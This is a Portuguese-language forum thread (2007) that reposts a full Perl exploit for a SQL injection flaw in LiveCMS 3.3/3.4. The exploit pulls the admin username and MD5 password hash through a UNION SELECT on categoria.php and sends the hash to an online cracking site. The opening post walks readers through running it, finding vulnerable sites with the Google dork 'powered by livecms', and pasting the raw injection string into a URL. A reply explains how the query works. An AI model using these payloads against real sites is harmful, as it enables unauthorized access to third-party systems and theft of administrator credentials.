Usando Exploit livecms33.pl (Recomendado)

Started by oniarce, 14 de December , 2007, 01:37:01 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

oniarce


Este tópico eu achei no forum do invasao.
Agradecimentos ao invasão.

Nesse exemplo nós vamos ver como explorar o SQL Injection através de um exploit em perl e de como extrair a string do
exploit. Vamos usar como explemplo o exploit que se encontra no link http://www.milw0rm.com/exploits/4082 e que
explora a falha LiveCMS <= 3.4 (categoria.php cid) Remote SQL Injection Exploit
Todo exploit me perl para rodar é necessário ter o active perl instalado caso alguém utilize o windows,no linux por
padrão já vem com compilador.
Abaixo segue o exploit em perl
Código:
#!/usr/bin/perl
##############################################################################################
# ___ ___ _
# / _ \ / _ \ | |
# __ _| | | | | | |_ __ ___ _ __ ___| |_
# / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | | __/ |_
# \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
# __/ |
# |___/
###############################################################################################
#INFO:
#Program Title ################################################################################
#LiveCMS <= 3.4 SQL Injection, Absolute Path Disclosure, XSS Injection, Arbitrary File Upload
#
#Description ##################################################################################
#This is a free CMS system.
#
#Script Download ##############################################################################
#http://sourceforge.net/project/downloading.php?group_id=78735&use_mirror=ufpr&filename=livecms-
3.4.tar.gz&12060460
#http://livecms.com
#
#Original Advisory #############################################################################
#http://www.g00ns-forum.net/showthread.php?t=9350
#
#Exploit #######################################################################################
#credz to Vipsta and Clorox for vulnerability
#[c]ode by TrinTiTTY (2007) www.g00ns.net
#shoutz: z3r0, milf, blackhill, godxcel, murderskillz, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, c0ma, sick, trin, a59, seven, fury, , Bernard, and everyone else at g00ns.net
#
#Details #######################################################################################
#APD: The absolute path is disclosed in a mysql error when categoria.php's paramater cid is queried with a non-defined
#variable. example: categoria.php?cid='
#XSS: Article names are not properly santised, a user could insert malicious javascript
#AFU: Articles can have a small image that is uploaded with them, however LiveCMS fails to restrict what file types
#can be uploaded. A user could upload a malicious script with this method and compromise the server.
#GoogleDork: "powered by livecms"
#
################################################################################################
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
# LiveCMS <= 3.3 [ categoria.php ] #
# ] Remote SQL Injection [ #
# #
# [c]ode by TrinTiTTY [at] g00ns.net #
# Vulnerability by Vipsta and Clorox #
# #
# #
# [irc.g00ns.net] [www.g00ns.net] [ts.g00ns.net] #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
use LWP;
$host = @ARGV[0];
$ua = LWP::UserAgent->new;
my $uject
='categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,user,4,5,6%20FROM%20live_admin%20WHERE%20us
erid=1/*';
my $pject
='categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,pass,4,5,6%20FROM%20live_admin%20WHERE%20us
erid=1/*';
if (@ARGV < 1){&top( );&usage( )}
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}
else { &getUser( ) }
sub getUser( ) {
system("color 4");
&top( );
print "\n [~] Retrieving admin username\n";
$nameres = $ua->get("http://$host/$uject");
$namecon = $nameres->content;
if ($namecon =~ /(.*)a href=\"(.*)\"(.*)>(.*)<\/a><\/td>/gmi)
{
$user = $4;
print "\n
  • Admin user retrieved: $user\n";
print "\n [~] Retrieving password for $user\n";
getPass( )
}
else {
print "\n [-] Unable to retrieve admin username\n";
print "\n [~] Retrieving password\n";
getPass( )
}
}
sub getPass( ) {
$passres = $ua->get("http://$host/$pject");
$passCon = $passres->content;
if ($passCon =~ /(.*)a href=\"(.*)\"(.*)>([a-f0-9]{32})<\/a><\/td>/gmi)
{
$pass = $4;
print "\n
  • Admin password retrieved: $pass\n";
&resolveHash($pass);
system("color 7");
}
else {
print "\n [-] Unable to retrieve admin password\n";
system("color 7");
exit(0);
}
}
sub resolveHash($)
{
print "\n [~] Attempting to resolve hash\n";
$hashget = LWP::UserAgent->new; #thx gdata
$resp = $hashget->get("http://gdataonline.com/qkhash.php?mode=txt&hash=$_
  • "); # checks gdata for hash
$hashans = $resp->content;
if ($hashans =~ m\width="35%"> \){
$crack = $1;
print "\n
  • Password hash resolved: $crack\n";
system("color 7");
exit(0);
}
else {
print "\n [-] Couldn't resolve hash\n";
system("color 7");
exit(0);
}
}
sub top( )
{
print q {
##################################################################
# LiveCMS <= 3.3 [ categoria.php ] #
# ] Remote SQL Injection [ #
# #
# [c]ode by TrinTiTTY [at] g00ns.net #
# Vulnerability by Vipsta and Clorox #
##################################################################
}
}
sub usage( )
{
print "\n Usage: perl livecms33.pl \n";
print "\n Example: perl livecms33.pl www.example.com/path\n\n";
exit(0);
}
# milw0rm.com [2007-06-20]
1º modo de uso: Compilando pelo acitive perl
Para compilar um exploit em perl é necessário primeiramente salvar o fonte do arquivo,podendo ser em qualquer um
editor de texto,como por exemplo o bloco de notas do windows salvando com a extenção .pl
Após salvar com a extenção .pl você deve salvar o arquivo no C:\ da sua maquina, também pode ser salvo no /bin do
active perl mas pra facilitar o aprendizado de vocês vamsop opatr por salvar no c:\ ok?
95% dos exploits em perl ae executar perl nomedoexploit.pl ele acaba informando como usar um exploit. Vamos
compilar nosso primeiro exploit de sql injection.
- salve o código fonte do exploit com o nome livecms33.pl
- copiei o livecms33.pl para c:\
- vá no menu iniciar/executar/digite cmd
- no ms-dos digite cd\ (vai para a raiz do C:\
- digite perl livecms33.pl
Se tudo der certo ele vai mostrar como usar o exploit
Agora vimos qu o active perl compilou certinho então só falta achar sites que utilizem o sistema LiveCMS
Na própria descrição achamos o termo: GoogleDork: "powered by livecms" então basta ir no google e colocar "powered by
livecms" que ele vai listar diversos sites que utilizam esse sistema.
Agora vamos testar um site qualquer:
no exemplo a cima não obtivemos sucesso, o site não está vulnerável.Mas se estivesse teria como resultado:
Como disse anteriormente alguns exploits dão a senha na hora outros pegam o Hash que é a senha em md5, bsta ir no
google e buscar por decode md5 online
O exploit até tentou quebrar o md5 mas foi uma senha complexa e ele não conseguiu, se fosse uma senha mas simpels
talvez ele informaria a senha..
Um excelente quebrador de md5 online você pode encontrar no link abaixo:
http://www.milw0rm.com/cracker/insert.php
Uma outra forma de explorar esse exploit é ao invés de compilar o exploit em perl pegar a string SQL que ele usa e
jogar na url:
categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,pass,4,5,6%20FROM%20live_admin%20WHERE%20useri
d=1/*
ficando da seuinte forma:
www.site.com/categoria.php?cid=1%20UNIO ... _admin%20W
HERE%20userid=1/*

Se tiver algum erro me avisem.
Se não gosta não critica e sim ignora.
O motivo de estarmos aqui é para evoluirmos e aprender e nunca regredir.
Discução se resume em caos.


O homem é o lobo do proprio homem.

Wuefez

#1
Não entendi o motivo do tutorial, todo mundo sabe que para se rodar um exploit feito em perl por linha de comando você precisa de um interpretador da linguagem, da mesma maneira que querer ter um script php funcionando sem ter o php instalado.

Esse exploit é mais um exploit desnecessario..

Basta olhar no codigo:

my $uject ='categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,user,4,5,6%20FROM%20live_admin%20WHERE%20userid=1/*';
Em vez de ter essa trabalheira toda pra rodar o exploit, é so copiar esse inject e tacar no browser:

http://sitevuln.com/livecms/categoria.p ... userid=1/*

E você tera o mesmo efeito......

Vou dar uma explicada em como funciona esse inject que o exploit usa, eu não olhei a query original aonde o inject vai cair, mas pro cara ter posto um "union all select" significa que a query ja devia começar com select, o union serve pra ele colocar 2 selects juntos na mesma querie, "1,2,user,4,5,6" imagino que devão ser as colunas que ele quer puxar os dados, o "FROM live_admin" no caso é a tabela de onde isso deve ser puxado e o "WHERE userid=1" manda selecionar os dados apenas da row (linha) onde o userid for 1 (que provavelmente deve ser o administrador), se vc tirar o where, ele provavelmente ira listar as hashes de todos os usuarios do sistema..........

Eu não entendo muito de SQL, mas ta valendo.....

falouzzzz
: 15 Dezembro 2007, 15:36:42

Ele colocou um /* no fim do inject para abrir um comment e fazer o server ignorar o resto da querie original depois do inject dele.


"Quem fala não faz."

oniarce

#2
Agradeço a sua preocupação, mas eu sei que o que você falou é verdade, mas este tutorial foi para dar uma nossao básica de como um Exploit funciona. Intendeu.